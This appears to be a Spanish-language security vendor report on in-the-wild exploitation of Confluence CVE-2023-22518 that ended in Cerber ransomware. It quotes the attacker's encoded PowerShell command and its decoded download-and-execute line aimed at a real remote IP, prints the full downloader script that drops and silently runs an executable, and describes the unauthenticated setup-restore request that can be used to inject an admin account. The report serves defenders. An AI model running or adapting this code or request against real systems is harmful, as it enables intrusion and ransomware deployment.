El 31 de octubre de 2023, Atlassian publicó parches y un aviso para CVE-2023-22518, una vulnerabilidad de autorización incorrecta que afecta a Confluence Data Center y Confluence Server. Luego, el 3 de noviembre de 2023, Atlassian publicó información adicional que identificaba la explotación activa de CVE-2023-22518. Además de las observaciones de otras organizaciones, Huntress puede confirmar la explotación activa a partir del 3 de noviembre, tras el lanzamiento del parche.
Específicamente, a las 08:25 UTC del 3 de noviembre de 2023, Huntress identificó un comando de PowerShell codificado que intentaba descargar y ejecutar un payload remoto:
powershell.exe -exec bypass -nop -enc
SQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAxADcANgAuADEANwA5AC4ANAAxAC8AdABtAHAALgAzADcAIgApACkA
Una vez decodificado, el comando intenta ejecutar el siguiente script (5a2c6938554f9e54d291f8fa0837d8d1e34b9b310bd02076affd9245303bda39):
IEX((New-Object Net.WebClient).DownloadString("hXXp://193.176.179[.]41/tmp.37"))
Las detecciones existentes de Huntress para contenido de PowerShell codificado que contacta un recurso remoto identificaron esta actividad y permitieron a los analistas de Huntress responder al incidente. Sin embargo, la actividad en cuestión fue más allá de la simple ejecución de un script.
Al revisar el contenido de tmp.37, los analistas de Huntress identificaron el siguiente contenido:
function Download_Execute
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$URL
$webclient = New-Object System.Net.WebClient
$webclient.Headers.Add("User-Agent","Mozilla/4.0+")
$webclient.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$webclient.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$ProxyAuth = $webclient.Proxy.IsBypassed($URL)
if($ProxyAuth)
[string]$hexformat = $webClient.DownloadString($URL)
else
$webClient = New-Object -ComObject InternetExplorer.Application
$webClient.Visible = $false
$webClient.Navigate($URL)
while($webClient.ReadyState -ne 4) { Start-Sleep -Milliseconds 100 }
[string]$hexformat = $webClient.Document.Body.innerText
$webClient.Quit()
[Byte[]] $temp = $hexformat -split ' '
[System.IO.File]::WriteAllBytes("$env:temp\svcPrvinit.exe", $temp)
$args = "-b 9"
Start-Process -FilePath "$env:temp\svcPrvinit.exe" -WindowStyle Hidden -ArgumentList $args
Download_Execute hXXp://193.176.179[.]41/tmp.37.txt
El fragmento de PowerShell anterior intenta recuperar un payload en formato hexadecimal sin procesar almacenado en la misma dirección, y lo escribe en la ubicación %TEMP% del perfil en ejecución como svcPrvinit.exe. Después de recuperar y ensamblar el payload, los analistas de Huntress obtuvieron un archivo ejecutable portátil (PE) con el siguiente hash SHA256:
f2e17ec85c3f8ee26a3be3ce52c6e140448941d705a9bdedb7c1aa82a9d9707f.
Según el análisis, el archivo PE es una variante de ransomware de la familia Cerber (o C3RB3R), que agrega L0CK3D a los archivos cifrados.
En muchos sentidos, la actividad anterior representa un oficio bastante estándar para los adversarios en entornos de delitos electrónicos, que usan una combinación de herramientas y aplicaciones legítimas del sistema para obtener payloads con fines de monetización u otros propósitos. Sin embargo, la velocidad con la que se desarrolló esta campaña, con solo unos días entre el lanzamiento de un parche y la explotación activa en el entorno real, resalta la rapidez con la que estos adversarios trabajan para identificar y aprovechar los mecanismos de distribución de sus herramientas.
Mecánica de la explotación
Las pruebas de concepto para este exploit están disponibles públicamente, aunque la mayoría no incluyen un payload completamente armado. Un ejemplo de prueba de concepto muestra cómo funciona el exploit.
Se realiza una sola solicitud POST al endpoint /json/setup-restore.action con un encabezado específico de “X-Atlassian-Token”: “no-check”. Este endpoint permite a un administrador de Confluence restaurar el sitio de Confluence desde un directorio zip de respaldo específico. Normalmente, los endpoints administrativos están protegidos con la función de seguridad de autenticación WebSudo, pero este endpoint carece de esta función de seguridad en las versiones afectadas.
La solicitud POST de la prueba de concepto envía los campos de formulario necesarios para cargar y restaurar un respaldo completo del sitio. Mientras que un exploit completamente armado inyectaría un respaldo de sitio malicioso para crear un nuevo usuario administrador, esta prueba de concepto inyecta un archivo zip vacío con un nombre aleatorio. Luego, la prueba de concepto verifica un error conocido en la respuesta que indica que el zip no es válido. Esto demuestra la explotabilidad sin inyectar un payload armado.
Si bien esta prueba de concepto no está armada, no es difícil imaginar cómo se vería el exploit completamente armado. Un atacante solo necesitaría reemplazar el contenido del zip vacío con un directorio zip de respaldo legítimo y malicioso, y enviar el formulario al endpoint vulnerable.
La actividad posterior a la explotación tras la entrega del payload armado seguiría los patrones descritos en los avisos de amenazas referenciados. Después de obtener acceso administrativo con el usuario admin inyectado, los atacantes quedan libres para instalar un plugin de Atlassian Web Shell para ejecutar código de forma remota, robar información confidencial de los espacios de Confluence o instalar ransomware.
Superficie de ataque
Confluence es una tecnología popular que a menudo está expuesta a internet. Una búsqueda en Shodan de servidores con cualquier encabezado que mencione "confluence" devuelve más de 200.000 posibles endpoints. Una búsqueda más acotada por el hash del favicon conocido de Confluence devuelve más de 5600 posibles endpoints. Aunque ninguna de estas búsquedas demuestra la explotabilidad o el número de versión, sí demuestran que Confluence suele estar accesible públicamente.
¿Qué puedes hacer?
Dado lo observado, los propietarios de activos y los administradores de TI deben trabajar para identificar las aplicaciones y los servicios expuestos externamente, y luego priorizar la aplicación de parches cuando se identifiquen debilidades.
Como se muestra en este ejemplo con Confluence de Atlassian, la explotación activa tomó solo unos días desde el lanzamiento del parche, dejando poco tiempo para responder al personal de seguridad y de TI.
Cuando aplicar parches sigue siendo difícil u oneroso, los propietarios de activos y los administradores deben priorizar la minimización de la superficie de ataque eliminando las aplicaciones del acceso externo directo siempre que sea posible. Cuando las aplicaciones, como Confluence u otras, requieren accesibilidad externa por motivos de negocio, colocar estos elementos detrás de controles de seguridad como un VPN o similar puede minimizar la exposición, siempre que el VPN u otro elemento también se mantenga y asegure de forma diligente.
Finalmente, en este caso en particular, Huntress pudo identificar la explotación poco después del lanzamiento del parche debido a que los atacantes dependían de comportamientos comunes posteriores a la explotación. Construir y mantener posturas de "defensa en profundidad" para que los elementos posteriores a la explotación puedan identificarse rápidamente puede garantizar que, incluso en casos de explotación de día cero (como con la explotación de Apache ActiveMQ a principios de octubre de 2023), los defensores mantengan cierto nivel de visibilidad y capacidad de respuesta.
En general, las vulnerabilidades en aplicaciones expuestas o accesibles externamente siguen siendo un problema preocupante en el ámbito de la seguridad de TI. La aplicación de parches será la respuesta definitiva para este tipo de problemas (cuando estén disponibles y se publiquen) en el futuro previsible, pero debe complementarse con una combinación de arquitectura segura, defensa en profundidad y gestión de la superficie de ataque. Mediante una combinación de estos enfoques, las organizaciones pueden estar preparadas para responder a la explotación de todo tipo de vulnerabilidades futuras por parte de los atacantes, mientras crean una postura de red considerablemente más segura.
Un agradecimiento especial a Joe Slowik, Craig Sweeney y Matt Kiely por sus contribuciones a este artículo.
